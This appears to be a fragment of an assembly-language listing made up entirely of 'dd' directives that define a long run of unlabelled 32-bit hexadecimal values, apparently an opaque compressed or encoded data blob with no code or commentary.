dd 0A0F9C4ACh, 0FC8CA9F9h, 0F5CEF895h, 21720848h, 7B3D6563h
dd 11D3F7B2h, 181584F1h, 80DECA1h, 7964100Ch, 0F3A28472h
dd 79DAECC3h, 66554492h, 840C8C30h, 21647A08h, 0E628796Dh
dd 0A47EB5A2h, 87C18CDh, 94CC109Ah, 0EBF36EF0h, 0E0241ACDh
dd 10C7E84Ch, 6208656Bh, 66327566h, 0FD6DF0C9h, 0BDE35449h
dd 6F853827h, 80767C9h, 27BC389Ah, 81C8869h, 90AB2068h
dd 9E8959BCh, 4F40533Bh, 7840A211h, 513F2C91h, 699D2308h
dd 0F1C56610h, 304975F5h, 109AE83Dh, 27F1624Ch, 8910688Ah
dd 88766C17h, 0C704919h, 840CAC77h, 21DCBE28h, 34E92010h
dd 0F5117974h, 682D2A48h, 24A92C09h, 1859BC40h, 6D6668C9h
dd 0B46F10CAh, 59690BCFh, 6111B2C8h, 0F50B1092h, 5D10BD2Dh
dd 721099F4h, 842795Eh, 7B309366h, 0B0D3BDA1h, 5E3C1021h
dd 0D0A27412h, 10943490h, 47082668h, 11EED86Bh, 6EC76388h
dd 6509341Ah, 0E1D03278h, 0DCF26DC1h, 80A5260h, 3BA7C9B8h
dd 3574A56Eh, 0AAD4EB24h, 0DD690823h, 95186836h, 104C0D93h
dd 4F1042CDh, 0F7893837h, 0C13C632h, 4BB4E853h, 0C043B5F8h
dd 11FE106Eh, 9321DC79h, 77C31672h, 3636CF6Ch, 684A10F9h
dd 5E9982C5h, 14120C09h, 0FAA49A65h, 3B0C91D9h, 0CF7C78A4h
dd 14B68DF3h, 6F9CA608h, 68945F18h, 0A721DC08h, 6A08F088h
dd 76126F8Ch, 0E3BE10C0h, 6C9E24A1h, 659108A9h, 8E610D7h
dd 9C10662Ah, 7311CC03h, 896E4B8Eh, 8B10A446h, 0A664116Ch
dd 79622328h, 6E65103Ch, 14CC3CDEh, 3176FE97h, 1A6EAA10h
dd 43B74B08h, 62340C58h, 10085080h, 1244D497h, 0CA802708h
dd 0EA651E08h, 0E5B08B18h, 78E80819h, 6E02F209h, 2AE12974h
dd 0A1503579h, 8A10C78h, 894B46B8h, 6C0C1CD8h, 0A8021DE3h
dd 8A08926Eh, 9320F589h, 8840C8Ch, 206E6923h, 6C608ABBh
dd 3CCD9698h, 0F3612855h, 10B4404Dh, 0B310255Eh, 56EA4BF8h
dd 74F5C419h, 1408520Ch, 8687497h, 0EC944814h, 9C866810h
dd 89D82144h, 81447665h, 88822B97h, 934F4028h, 0B03572A1h
dd 2D330C0Dh, 70428E49h, 776F1064h, 50D670AFh, 0EF939021h
dd 51119836h, 5C399A67h, 32661899h, 254843C6h, 36AD5564h
dd 77B9E711h, 7163126Eh, 1A103479h, 8115AE8h, 961C563h
dd 701092D6h, 9CBCA415h, 6C11CC48h, 928C79E2h, 670881DFh
dd 0E002AE49h, 0D27D467Ah, 0C89E1010h, 0A04C99D3h, 7AB9010h
dd 912115Fh, 140949E1h, 4500E92Ah, 32100D08h, 708A4E34h
dd 0A8520C46h, 8410CD1h, 0E8AF4821h, 886C44Eh, 927512E1h
dd 9CA074B5h, 122E7473h, 0A5E0F108h, 9573233h, 0DA25DD08h
dd 9A0C3772h, 86491Ch, 10DDFF6Bh, 2918D2BFh, 72AB2C63h
dd 0AF94693Ch, 1851D676h, 0DD119A0Ch, 0E708A16Ah, 1A5D4B14h
dd 92080D17h, 5710ABEAh, 25087DA8h, 65A79AD6h, 942C2128h
dd 96F50C63h, 0ECB01023h, 65107355h, 894A2F4h, 7E952084h
dd 5CDB4927h, 183414A3h, 0C6500812h, 4C0ED488h, 0D5119A6Bh
dd 2484CEDAh, 8F3617Bh, 141BBD6Fh, 188D104Bh, 205E0804h
dd 903FDC3Eh, 0D26E3D08h, 18A67810h, 90B6F88Ch, 32EE11CDh
dd 0FCEEAF89h, 1BD0BA9Dh, 81A420Ch, 70142751h, 0CF78CAF3h
dd 76776D2Ch, 12D11820h, 76EC7864h, 0C19884A6h, 0F362793Dh
dd 29F108A2h, 7A1CEC2Ch, 7308547Dh, 0CED7BCACh, 10BA27C9h
dd 504A7CD2h, 2C4D5C30h, 666812DEh, 6E92109Dh, 770857F3h
dd 63C5A873h, 45981055h, 40763FAAh, 6BB4B811h, 98E31178h
dd 1508A541h, 0D9D4BA48h, 6B080837h, 0C2F938FAh, 6193EAD1h
dd 1C90ACF2h, 1377E1D3h, 63DB6608h, 0A4BCFCCCh, 0F4EF1C27h
dd 9212D6D8h, 8122584h, 50841084h, 14680849h, 0BB19D690h
dd 0A30C8F50h, 6474AC6Fh, 73A24AECh, 75674310h, 0D54AC8D7h
dd 98AB6F1Fh, 0B284EFA8h, 42DE10D0h, 18854A68h, 0BCE39FE1h
dd 119B2FACh, 6579E4EFh, 8167F8Dh, 0F86C8464h, 6033B573h
dd 202899C7h, 949BC914h, 43E250C4h, 86867008h, 0C918220h
dd 0B96B1059h, 25186D7Ch, 21080D88h, 0F2A85DCFh, 117B90BBh
dd 948464F0h, 2D703EADh, 6966786Fh, 737F0092h, 8A165F0h
dd 59DDEF70h, 5577AE10h, 68EFF108h, 4435DF4Ch, 106510F2h
dd 69A4A263h, 0AA7A712Eh, 0B4DAB14Ah, 0DE84AC10h, 0F932772Dh
dd 43DF0C12h, 18649579h, 0C9016ADh, 0D3775F97h, 257D8D6Dh
dd 78102A93h, 4EE39408h, 5E18B436h, 840E2764h, 5A18E36Bh
dd 0B88DCB84h, 8EB58635h, 0A480A8E0h, 9FC31C56h, 74F3D475h
dd 0C4796E16h, 353BD59Dh, 0E498A879h, 8DFF0C25h, 1B10AF21h
dd 6B103FF4h, 43B86DA3h, 638B6423h, 2C8A6B6Ch, 6DA778C0h
dd 0AE970410h, 0C4008E6h, 7008A46Ch, 74238661h, 73658868h
dd 0ED04C36Bh, 0DE4C0810h, 5C7A9B2Dh, 5C921511h, 7EEA6546h
dd 40849C70h, 6C2537B1h, 782DF9E4h, 0C59114Bh, 0BF4808D1h
dd 163F995Ah, 88A8A0Ch, 0AC541012h, 163B10CDh, 80F107Ah
dd 11D9504Ch, 0E5F57B73h, 9AF21C0Dh, 2F890B08h, 66FF123Bh
dd 0CAA9115Ch, 0EE484D70h, 63FF249Ah, 8D641F7h, 1C421232h
dd 79766108h, 0B0730A6Fh, 841468CDh, 18AF14D9h, 7B69587Ch
dd 0D942A52Ch, 3D81C9Ah, 0C4809397h, 0B66FD0A2h, 82E0E81Ch
dd 96FD7061h, 961F4F6Ch
dd 0A8F5C97Ah, 0F6D0F710h, 0BF21DC08h, 753C86F0h, 8E69C673h
dd 18D06C4Ch, 6CE05D80h, 0F5677410h, 4C289BCAh, 633B2018h
dd 8910C52h, 845A849h, 8457B68h, 9BE62C0Dh, 10224354h
dd 9D08A47Bh, 104A3E1Bh, 10A6208Dh, 736C0AD7h, 0A7206808h
dd 81AFBC2h, 0FC6B3024h, 0CA35DEDCh, 11995AB8h, 0CC92EE66h
dd 6B0A487Ch, 8DAD0879h, 4EE2647Ah, 6B10C8B4h, 0E41364E5h
dd 0C0989A1h, 47ABB32Fh, 5D114A0Ch, 68DDDF0Ch, 410868A1h
dd 0D79656Bh, 27A4582Ch, 6908EA0Ch, 5214F888h, 0BC610811h
dd 0D2244D13h, 0A673B1B0h, 0EAFAD108h, 5C680C47h, 827520Ch
dd 6E697272h, 794C691Ah, 0A4F711BEh, 3ED9BC20h, 4A540851h
dd 0ADD8824h, 0F33C7A65h, 8ACF119Bh, 0FE7EB738h, 3811612Dh
dd 5A089157h, 856826C3h, 94EE0C34h, 0E30C2476h, 0A1EF7878h
dd 1034A3CCh, 66892437h, 0B310D2F8h, 60765ABDh, 8A1D9011h
dd 843B7030h, 18735310h, 8148069h, 946E18CFh, 756B8208h
dd 181A3273h, 467386A5h, 0EC756A08h, 64B2148Ch, 6E0C5CFBh
dd 48F720A4h, 64A66310h, 0D504DF1h, 7CDA2228h, 101208AAh
dd 37ED754Bh, 5CD1BF08h, 0B311DA74h, 5F5C4DE0h, 0B3250845h
dd 6F950817h, 0DAD41055h, 0F6A03A10h, 640C6818h, 2C33C968h
dd 0DA3948B2h, 7FB01A11h, 4874AFC1h, 65466B08h, 63886423h
dd 7348EF79h, 0B2A554C8h, 620821BBh, 55176775h, 0CE205A69h
dd 0D3F8181Ah, 19B69C93h, 0E1088614h, 36180D19h, 4106C2Ch
dd 8635170h, 201886A1h, 8BDB98C7h, 46705908h, 0E4431443h
dd 0DD5ADC5Dh, 170C04C0h, 89F07729h, 0DF2EACF3h, 253C6021h
dd 7525A574h, 70730C21h, 8C61084Ch, 6F30E6FFh, 6BEE8C6Eh
dd 6164218Eh, 0DDDACBADh, 82620809h, 93686743h, 3C36E51Ch
dd 8E746520h, 4A0C7462h, 69746608h, 10D10466h, 0CDFAD794h
dd 6411AF6Fh, 3D96BC52h, 0ECF475AEh, 34937718h, 0AF90C528h
dd 107E22ABh, 3FFC13B7h, 61A86211h, 0BE78BF10h, 367C208Ah
dd 0F167106Ch, 6610A2F2h, 0E848DE74h, 3208210Ch, 4BE273C0h
dd 59615819h, 267ADDB0h, 5E106F8Ch, 95737508h, 5093C076h
dd 94DFE414h, 0FBDF2073h, 2D0879A9h, 0A108F308h, 0FDF6AF28h
dd 0FDD0362Ah, 4CF3D710h, 62240C43h, 12104D29h, 88F73EFh
dd 86F0FCDEh, 6B176CB9h, 0ABBC83F5h, 4697CB5Fh, 2308430Ch
dd 7F46B865h, 0A96B6E46h, 11B4CE51h, 0AE70A9A6h, 9B088A0Ch
dd 0AD1EC469h, 14B13328h, 116B3B74h, 796D1602h, 0CA18BD6h
dd 0D0200821h, 870BA9Fh, 6E42080Ch, 60C43267h, 0C84FE90h
dd 8A66FF0h, 6D9B24F3h, 8840CACh, 134C6452h, 77367965h
dd 1084D011h, 77C56288h, 76852827h, 4C501835h, 9169CF08h
dd 88A721DCh, 59A408C1h, 49EF08A2h, 0DE306C38h, 6EA4272Dh
dd 0F34085Ah, 1868104Ah, 1472096Fh, 0E119D740h, 0C9AF646h
dd 26D51433h, 88C7E30h, 0EE866570h, 23F5866Eh, 2C985840h
dd 114D0E70h, 10A44C09h, 874946Bh, 611023DCh, 7963C8DFh
dd 0B300596Bh, 27FD6410h, 0FC698630h, 920A61D2h, 75A53063h
dd 116CF526h, 14AE8F97h, 652A7810h, 6EFE2070h, 8A479E2h
dd 8AD5709Fh, 94402F08h, 6117DE48h, 69827937h, 0D5E36478h
dd 16DE6810h, 5EE88565h, 0B0EC2F3Ah, 0FA011D3h, 5211DF61h
dd 7C70F775h, 10B35C93h, 69288C6Eh, 2814B2B7h, 669C080Ch
dd 68434378h, 0CF801068h, 0D3307AEEh, 9D100476h, 4F801A88h
dd 0BC2170CAh, 6900A64Bh, 0DFF6C610h, 2374DC11h, 69114338h
dd 0D810936Ch, 735D7E29h, 0AE9296ACh, 0CCFCD468h, 2DAB6518h
dd 9276B02Dh, 0BA737AACh, 8910D6D0h, 1211ADF7h, 7C1457F7h
dd 610C48E1h, 676508A4h, 8246494h, 0DC08FB50h, 28644922h
dd 0F508A679h, 2432C21Dh, 0ABA26338h, 0A61B135Fh, 93296F92h
dd 8B2BA6DDh, 4A0C42DCh, 734FC935h, 78697F75h, 2EE5EDA0h
dd 7186BC74h, 78743989h, 8440C57h, 6481D264h, 4A97EC74h
dd 0C733D4Ah, 84875249h, 75108A08h, 8AAF7E79h, 821C86Bh
dd 4A70641Bh, 0E2609911h, 8AA7507h, 0CF65E84Eh, 4AC6FD3Eh
dd 24BC10AEh, 36796EC4h, 84ED08Bh, 0BE646B2Ah, 1F1821B7h
dd 0D853E56Dh, 4DF50CA0h, 75107E08h, 4C5BD340h, 0C74B542h
dd 1C250824h, 843C0BCh, 0B2546C2Ah, 481CB14Fh, 2508210Ch
dd 8AC88DDh, 0CCAF1B2Ch, 0EF18DD34h, 21B5BFE3h, 3C78650Ch
dd 6963146Ch, 90778D0Ch, 8211F406h, 28484AC7h, 1A4F1808h
dd 14182F7Bh, 706C8510h, 6F940837h, 0EB6B0877h, 0C084338h
dd 855643Fh, 2994AC44h, 0EDCDA867h, 900888A1h, 0C518D06Eh
dd 0DAB86264h, 8450C46h, 2EA5A315h, 0A87910A5h, 0DA1C5DBCh
dd 15C05410h, 115E0879h, 0A5A08E7h, 2008797Fh, 500897E9h
dd 0A1936F24h, 0D3019E2h, 0CD2E50h, 24440C09h, 0A962B4C2h
dd 79380508h, 65E10855h, 0A98D6D11h, 820811AAh, 77E02710h
dd 886948AAh, 714B480Ah, 0B010B4C1h, 8A46414h, 35671881h
dd 693E3234h, 961B7810h, 0E718CD80h, 102D1ADDh, 10B325F1h
dd 1A698A63h, 293D952Fh, 2FFE2624h, 74BCDF44h, 7310D5BCh
dd 1D106A0Dh, 0FCDF10CDh, 988C6428h, 0F508869Bh, 5E9B1AE6h
dd 2BBCF5C4h, 189F6499h, 8D4FE75h, 0B5529673h, 68F4E811h
dd 5B490848h, 0F64A3EACh, 6C10651Ch, 8246ED4h, 30941034h
dd 0BF21105Eh, 42D0D6DBh, 8F116BF1h, 24D95A10h, 0D66CCEE2h
dd 6FA08B10h, 81C95618h, 0DD21CEE2h, 204EED53h, 86D19CAh
dd 114C8548h, 14754961h, 0C2D8B192h, 3A680891h, 0F7197C76h
dd 6A3D557Bh, 41ABF74Bh, 95C62A0Ch, 516E95F2h, 3974EDDFh
dd 0ECC45EBEh, 5E55526Ch, 4C7C29BEh, 4916418h, 18FC10B4h
dd 811F441h, 1AC2656Dh, 0B408C328h, 3008519Fh, 97478851h
dd 6F1E083Ah, 0AA251029h, 0C21509Ch, 736412B1h, 1017084Dh
dd 2C5A61E5h, 293DC21Eh, 0C3E25F08h, 4D300828h, 61080C1Eh
dd 42776B43h, 6563846Eh, 908D6F4Bh, 1137CFCEh, 11ADA575h
dd 0B4791960h, 7D19CD40h, 0CA67E55h, 821E3B6h, 72A51021h
dd 0B4E597E7h, 64941421h, 2CB6DA08h, 0BF62B208h, 0BA5F98B2h
dd 1A0C32D0h, 44301208h, 8EED0DAh, 0D64210D1h, 7D170841h
dd 7305498Bh, 0B0811A5h, 905A528h, 18586677h, 6EF0AC8Ch
dd 764212BDh, 0A71021FDh, 0B52B4853h, 57D510B4h, 2F9F10B9h
dd 0C4680F4Bh, 12EFD411h, 34DE21FCh, 69C7BD45h, 0F194C610h
dd 10C7367Bh, 1974FDEFh, 0E19714FEh, 8497953h, 5E81015h
dd 0B408A37Fh, 8147CA1h, 8A010BAh, 8D3514Bh, 79CCC25Eh
dd 82C89475h, 3C7A5544h, 597618C8h, 3D94DB72h, 86640808h
dd 5B7645FBh, 0A97DC66Dh, 4AD48997h, 0AD4B76C8h, 6A9D18EEh
dd 0D6FC2914h, 1427521Ch, 7A11D872h, 0D96DDD55h, 11A6D048h
dd 10616B23h, 6F08A763h, 0C674F55h, 9CA9597Ah, 43535CD6h
dd 8440C38h, 68BDCA67h, 0A002AC08h, 6BAADF08h, 830CA2B8h
dd 796DD108h, 255D2BC2h, 0A4E875D7h, 0E26918D9h, 0A3DA1492h
dd 61D971D7h, 9508512Bh, 91BCB24Eh, 63B54A2Ch, 120C74A3h
dd 0D6E8BD63h, 95AFA3D7h, 4B684208h, 0BBF6F0B5h, 85197FD4h
dd 77C29AA7h, 1427043Ah, 0CB441967h, 0CDFDCFF1h, 808172Ah
dd 72274D4Ah, 0C4BE1BBh, 0AB781842h, 8811460Ah, 7DF6FD78h
dd 185850BBh, 7C11DBBFh, 6208A22Ah, 2A401375h, 0F0106D7Ah
dd 5E794673h, 81D76D4h
dd 0BC947967h, 20423448h, 6461CC5Fh, 8CD794Ah, 0B4C4EEACh
dd 800810D8h, 6C10A17Bh, 185465E1h, 91AD2064h, 0C7E38741h
dd 336B10AAh, 0CDE8F524h, 0A8C4319Bh, 0ED2ADE8Dh, 12CC2F95h
dd 0AA965EBDh, 2C53C474h, 9D4FD8E6h, 0FCDD2B05h, 576211A5h
dd 640CDA08h, 5874BA6Dh, 34690C0Eh, 11328E08h, 6E88219Ch
dd 0E076C967h, 4B087214h, 0F14ECCB3h, 63506A50h, 49114E08h
dd 74BD4010h, 0A17449E3h, 63920819h, 0C45D3B6h, 0CC8512Ah
dd 4A51EE97h, 8208900Ch, 32797472h, 0E1597277h, 8020C5Dh
dd 4A97FE70h, 6184B193h, 671C4C75h, 6B8F68FDh, 0A0615139h
dd 0FD188408h, 109A7338h, 104334BBh, 75105A74h, 27A3DE08h
dd 104F374Bh, 0C4AAE065h, 112A5A03h, 0D1A714D4h, 481C4824h
dd 14D23CD0h, 8B10A678h, 975A789Ah, 11DA386Ch, 0A63C2C0Eh
dd 4834AE63h, 1445AC6Ch, 705774E1h, 80FA88CBh, 46454440h
dd 4C551A41h, 0A03B2154h, 0A0E713C4h, 0F612977Ch, 0A01082Ah
dd 3C086861h, 0DF4469AAh, 24D3A5A8h, 0E0771835h, 1A6E77E2h
dd 43183375h, 844A2010h, 45B3E670h, 6B08090Ch, 0B6103C36h
dd 69116CE4h, 1290BA9Dh, 6308250Ch, 48342434h, 912CD310h
dd 639D67D5h, 4374ABDEh, 0AD1145B8h, 24511B44h, 0DDC45B0Ch
dd 8120C74h, 4769F4E1h, 0C8D3189Ah, 4ABE483Ch, 0EC7800A2h
dd 0B422F579h, 4BC59F7Ch, 65970CA0h, 550C2090h, 74D90865h
dd 3B0D6EE9h, 54666B12h, 349A9B18h, 4B74FF11h, 0B5D40C24h
dd 0B62D0C76h, 0F516EF79h, 8ED42EA7h, 81F0C64h, 686277CEh
dd 3EA54879h, 1188664Fh, 8A614495h, 14B70808h, 7934136Fh
dd 211874FEh, 4C797014h, 0A68E7308h, 6110DE54h, 0D5CBC448h
dd 8139C4Ah, 1408DA68h, 544908C8h, 21DDA6C4h, 41DBA00Ch
dd 8008066Ch, 14617629h, 5F3CD2BEh, 51F824ABh, 0E24F1808h
dd 900C9193h, 0F91A5E08h, 0F8141A9Ch, 0F2794F71h, 0D21490BCh
dd 81714B1h, 6273887Fh, 10A96162h, 20296B42h, 0F63600DEh
dd 0CD689E10h, 6B841C11h, 5C8C40A6h, 86C178BDh, 0A7B0D394h
dd 6A0C4124h, 8C183876h, 0E45DF570h, 0C0661E9h, 58850C8Ch
dd 0F8519A25h, 6822F15Ah, 119A0CD0h, 0EFB94B76h, 7661A511h
dd 186F78F6h, 58796Bh, 8E950C8Ch, 4A08942Ah, 823C194h
dd 964DC65h, 685C6920h, 0A63C106Dh, 0C41515Eh, 0B17F109Ah
dd 8A6A79B8h, 14AC70C0h, 70BB088Bh, 0B3653284h, 50104288h
dd 43E0F64Fh, 8A47C1Ch, 0A5746123h, 49089E08h, 14A331F6h
dd 65106C1Fh, 1768A1D3h, 0A574FA08h, 10362FF1h, 6C7525B8h
dd 18DE34CCh, 21F759A5h, 42433808h, 319C7D18h, 0DC3A324Ah
dd 0FA325504h, 4AB5D8CEh, 683AD560h, 14A3FFF6h, 41DCBB25h
dd 0B8A2A918h, 10685308h, 6F2C997Bh, 0DA4EA893h, 6D385E10h
dd 787AE11h, 42BB0CA3h, 109020D1h, 5FCAC496h, 68C6FD10h
dd 6445081Eh, 675EAC8Bh, 0E47789D8h, 0AD088A6Fh, 51D211F9h
dd 771035BEh, 0ECF68994h, 0AA3F5E69h, 2065B52Fh, 0F273C21h
dd 4E3C5425h, 1CFDEAC5h, 0A7766289h, 884BA2Fh, 6362080Ch
dd 24321A68h, 0ABE350F2h, 10338011h, 8C84DE6Dh, 0E9A4D20Ch
dd 400CD1C4h, 82C97208h, 0C8D0D465h, 1208A10Ch, 99B0DD6Eh
dd 6CE96F18h, 9EF20846h, 1E1421B5h, 4267DA69h, 6DB9080Ah
dd 7A316810h, 0C94A08AAh, 556B0811h, 6FA90A18h, 0A1F14808h
dd 0DF699008h, 0CAC5EAEDh, 833B5D71h, 96E41842h, 0F6111076h
dd 0DE18E73h, 8446278h, 0AC10A66Dh, 0F8DD8265h, 0E10886C1h
dd 2AC9610Dh, 43084011h, 0A864C10h, 0C657861h, 884808E8h
dd 9D086594h, 47345F8h, 14CDB14Ah, 6D0842F8h, 0B21A7061h
dd 55E5785Ch, 0D859106Fh, 732310BFh, 2F9DF128h, 54B61321h
dd 0E5671065h, 0D08A6BE3h, 375F1442h, 1EEA8B01h, 105FC54Bh
dd 11A72CCDh, 0B4081188h, 610848C7h, 0A46CA4CCh, 3E8F9108h
dd 8A0CAEF0h, 3EBF7608h, 201479A9h, 62757CE0h, 7A6E1166h
dd 1AD61092h, 10D19FA0h, 2A26DF8Ch, 893F10CDh, 58CA6B83h
dd 0EF411C42h, 49348419h, 8508AA72h, 85D7985h, 90AC10E9h
dd 808E10A2h, 0D002CF82h, 0C9A7075h, 565A14B3h, 4308D111h
dd 51E14A10h, 8576EC5h, 8849100Ah, 65450891h, 1065F4F7h
dd 8355072h, 0F14F1043h, 32E5043Ch, 89A660Ch, 0EF281032h
dd 0DC07B710h, 0EA9D6E11h, 11082ED8h, 59F48492h, 4D730508h
dd 6C28C208h, 2A8D69C4h, 92641094h, 0F40910DAh, 19D0E8EEh
dd 347528B4h, 10A479F4h, 0F47457F5h, 693DE37Ah, 374B5E10h
dd 795F8969h, 0F71CA206h, 0D32566F2h, 6EFCCD10h, 0C099C9Dh
dd 0D27C10A0h, 69FFF2D3h, 2B18B210h, 2DAB42E7h, 89F2DE08h
dd 22FED608h, 786D5518h, 0FE091275h, 0B1A7526Fh, 0AFF4C241h
dd 687810CDh, 0DE086C2Ah, 3195399Ch, 6E251433h, 0C86E8662h
dd 0FE7618C9h, 0C764B90h, 0C0D28EDh, 119278D5h, 4A34B273h
dd 245164FAh, 6908E31Ch, 8D7B210h, 70681008h, 35B5FB4Bh
dd 29FBBC11h, 44B80873h, 0E165F267h, 1953710Dh, 0F918AC34h
dd 0A666104Ch, 86DA9878h, 8464B708h, 69740C8Eh, 556508A9h
dd 0D15E12Ch, 10F82F94h, 1B940890h, 0D4622C42h, 893676Fh
dd 0BCB2215Bh, 0CD970C90h, 5DBE296h, 7F1B5227h, 6208AA64h
dd 64C0ADB7h, 28BA54AFh, 8480F74h, 0EF17B24Dh, 848078Ah
dd 7A8670BEh, 6518FB63h, 9A250DE1h, 250892CAh, 27BB6710h
dd 207CDB6Eh, 184D54C8h, 4372080Ch, 6BD44E74h, 4CF90856h
dd 196BC046h, 1065394Bh, 60166B8Eh, 57E92412h, 0CCD618DAh
dd 0C26CFACFh, 0D0B25F92h, 0B688BA09h, 0A90AAF4Ch, 0C285A80h
dd 5CCD3F08h, 692AF692h, 0D17AE410h, 1A4EF011h, 0C3239ABh
dd 0E4DC382Bh, 1A101AD2h, 90B1DD18h, 0D1207867h, 78086514h
dd 85210166h, 9142B80Bh, 0E4249012h, 180A2037h, 30994FB8h
dd 0C24BDF38h, 0B3D077B8h, 5AE10F8Ch, 0B0D55F0Eh, 0D0E6E316h
dd 25A5F771h, 32DB92DFh, 7610320Eh, 307889A4h, 134CB4F1h
dd 0BF33716Ch, 824F8C2h, 8C653374h, 4020BD35h, 77083020h
dd 0BB64336Eh, 753ED1D1h, 4FD2B2A0h, 0F74F50B2h, 0A4935B14h
dd 832FD69h, 4076326Bh, 0B4CC6244h, 4839FD4Dh, 8608772Ah
dd 9A70E010h, 9796983Dh, 8EFFA64Ah, 9C0C1596h, 10253134h
dd 242D24AAh, 631C0D0Bh, 0F9081517h, 6808D09Ch, 0D52F9A58h
dd 0E268FAB1h, 7A95084Ch, 5308A45Ch, 0A94A0879h, 90BD9323h
dd 0C5DAA478h, 5A6664CAh, 8656953Ch, 5CA0B829h, 95535295h
dd 9A2DD871h, 7659C2A4h, 0BED2C930h, 0B82C69Ah, 213B00DCh
dd 0DB42256Ch, 300A170Eh, 2D416C08h, 6CB42595h, 0B670C24h
dd 4EC6090Ah, 9D7AF40Ch, 6A627099h, 16B00424h, 82EB9A73h
dd 0BCB95DF2h, 485C666Bh, 1537CE38h, 4A8F4290h, 0C0D038ADh
dd 0E9B19DAh, 0AF020A41h, 6908F110h, 36E9690Fh, 737788B2h
dd 0F5522F28h, 99621B8h, 11CE6C22h, 0F8E43373h, 4193B569h
dd 7698DCCh, 16647464h, 6145DCA8h, 4399E77Fh, 39EF6C6Ch
dd 0AA4E9679h, 2C8D8234h, 9764117Ch, 77E250ECh, 40849F5h
dd 0AF8EAA10h, 97E7BF70h, 35E00C20h, 14B1D395h, 0BFD60936h
dd 94C2C7DDh, 430EE10Ch, 0E18C7008h, 8533C219h, 0B519F836h
dd 10091CEAh, 0B6CEE47Fh, 5A0CC8FCh, 7558BD58h, 0F97B9D3Ch
dd 0D5A550B1h, 0B87E0B29h, 4B3D766Bh, 0E1CC445Fh, 60DCF66Fh
dd 43414210h, 5055204Bh
dd 0DA3F0EDEh, 2A061BEEh, 94D9304Bh, 9E774FC0h, 57056F15h
dd 0B033124Eh, 40F74D34h, 4C49461Ch, 4A57B8F5h, 4428DFECh
dd 4F420A10h, 0AC7C4854h, 8534AE2Fh, 1C4C5546h, 52570673h
dd 74809E49h, 46F54148h, 5051E308h, 0D4FED718h, 524F5715h
dd 4D84613Ch, 4C434E49h, 78458D4Fh, 81645547h, 842528F1h
dd 24193325h, 522E3CCBh, 884F52F3h, 0D44D651h, 0B25B99ACh
dd 12186FCDh, 0AE5674E2h, 3BE0C94Ah, 3C5825ACh, 778DD1D4h
dd 7CCA6B02h, 50A87427h, 7532B2D2h, 6F39117Fh, 0C47CE05Dh
dd 962C76D3h, 84B16671h, 0D208B44Fh, 0ECD89AFh, 75651D0Ch
dd 33CF1C69h, 2C3DED84h, 3E411012h, 2003A8B1h, 93362E31h
dd 2A038F39h, 0DAE8E440h, 307BAE97h, 746F4209h, 6B43ECF7h
dd 0E45F582Eh, 7B7E9701h, 5FDA38A3h, 0FCAF13FBh, 52FD5286h
dd 0D14C5A0h, 49B5FA0Ah, 5309599h, 6711453Ah, 4B0BEA90h
dd 864FA004h, 0F8C3FE6h, 482F41E1h, 197C214Fh, 85781E11h
dd 0A2AB7355h, 2DEF5A54h, 0D6341F62h, 2F72DDBBh, 0EA904FFCh
dd 2AFC3491h, 2D3AD3BDh, 0A5F561CBh, 3A62E93Bh, 218E29ECh
dd 4029D47Ch, 90C64CEBh, 984EE840h, 9832A28Fh, 0B8593A0Ah
dd 3C275C3Fh, 907A446Eh, 0D2ED838h, 0DE240A56h, 0A5B874EFh
dd 422CC0C1h, 857764F3h, 4C742E97h, 907E2A0Ah, 0AA529255h
dd 0AAFF62F5h, 65B60F69h, 2B4624CEh, 74FA97C8h, 480AA2BAh
dd 740E672Ah, 6DA1DCB9h, 0A1484B7Fh, 75ED6F4Eh, 0F711F86Bh
dd 0A87461F2h, 0A55D4047h, 875014F7h, 12DD2F28h, 1737F72h
dd 0FD2509FAh, 50E8B967h, 0BA254AFEh, 55552328h, 0B268226Eh
dd 0E90A538Ah, 7EE1F844h, 0FB93FEEDh, 3BB4A09Bh, 66021C9Fh
dd 4A905FA7h, 0FAE5651Fh, 1D46AEA6h, 0FDD8205Bh, 0C5707202h
dd 52631F54h, 0ACCDFE18h, 52BDFD3Fh, 5F52B84Ch, 0DDB7FD65h
dd 510B6790h, 74024955h, 1496723Ah, 44854A90h, 0FEC2F752h
dd 2D0451Ch, 2A1D648h, 1842491Bh, 5491D54Ch, 12AC3AF9h
dd 0AFA03A8Ah, 93AC927Ch, 9C445569h, 2CB55BBFh, 49045DC4h
dd 0A2AB3A44h, 5D65B548h, 3E948A2Ah, 1FFD8894h, 3C4CCA4Ch
dd 0A1FD5E53h, 0D7AC1F84h, 176424FFh, 0E82FEA72h, 0AC42264Dh
dd 0FF6254BDh, 7FAD2CE2h, 10A458F3h, 0B84C1A3Ch, 82A34FABh
dd 663B0059h, 55C02EA4h, 2B682626h, 69841569h, 852148F4h
dd 54B5B52Ah, 0D09356C8h, 0A1750429h, 0D355D250h, 6B87A9B8h
dd 17D1C2FFh, 20C0CA8Ch, 0B7797E74h, 708D9ECCh, 0CDA4DFA7h
dd 0FEE2EE73h, 0F9CAFEF5h, 55246424h, 55F2FDA4h, 0B75EB8D1h
dd 0F54BD27Ch, 0D955D3BAh, 70BF5C7Ch, 0AB5495EBh, 0E851557Ah
dd 92703D7Ah, 470D2A61h, 8F47E2D8h, 9DAE93FEh, 2D784C62h
dd 58105B57h, 64074F5Ah, 5D092D5Dh, 47720865h, 95212211h
dd 577A83D4h, 8AF48451h, 1F939221h, 7DDA6B78h, 0FAB83BFFh
dd 0B88D80A6h, 434E44D8h, 61A3ED53h, 0F1D5F2B8h, 54B5D428h
dd 740A5DD0h, 23FD5066h, 4E65F24Ch, 0B51CBEC9h, 8248817Eh
dd 7B412D55h, 3FA86F2Ch, 9953FE97h, 0EC2AB28Dh, 500EBD68h
dd 0AB681693h, 0D6532388h, 0D0CEAE91h, 0E323BA5Ah, 0AA605077h
dd 1D7EFB61h, 0BF7956DFh, 0EBA928D7h, 0B73E772Fh, 574B34FEh
dd 1EDDFC4Eh, 9A96DC79h, 6B105122h, 962764BFh, 5BCE848Dh
dd 0B252EF3Ah, 4AE2F08Ah, 6434B2F4h, 6C103A59h, 46D3759h
dd 3FD604FDh, 52498234h, 5A38D843h, 902BEB77h, 4B587F4Bh
dd 0E2AAE095h, 567388D0h, 4B464087h, 3880D16Dh, 6F4E16AAh
dd 19698DBBh, 9FFC3B20h, 17BBB490h, 0DFE57453h, 0C5B7DCA9h
dd 4FA0E628h, 0C4E67BC4h, 49ABB579h, 50719CC5h, 69667E84h
dd 7ED29F78h, 0D21CB484h, 549569E4h, 3821577Dh, 55466D54h
dd 5AB92A68h, 0D3A8DFD2h, 728BAA64h, 94E538D0h, 4A9E6A77h
